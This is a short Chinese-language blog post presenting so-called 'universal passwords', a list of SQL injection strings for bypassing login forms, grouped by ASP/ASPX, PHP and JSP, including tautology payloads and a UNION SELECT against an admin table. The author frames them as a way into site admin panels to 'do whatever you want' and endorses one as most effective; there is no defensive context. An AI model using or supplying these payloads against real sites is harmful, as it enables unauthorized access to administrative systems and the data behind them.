好久都没写东西了,今天写个万能密码,说是万能,是因为如果网站没做防注入,用这个密码当帐户密码即可登录管理后台,进去后想干什么那就干什么了。
附一些网上查到的万能密码
'or''='
"or=or"
'or''=''or''='
'or'='or'
'or'='1'
'or' '1'='1'
or 'a'='a'
经本人验证,'or''=''or''='的效果是最好的!
asp aspx万能密码
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
15: 'xor
16: 用户名: ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin)密码: 1
17..admin' or 'a'='a 密码随便
PHP万能密码
'or 1=1/*
' or 1=1#
User: something
Pass: ' OR '1'='1
jsp 万能密码
1'or'1'='1
admin' OR 1=1/*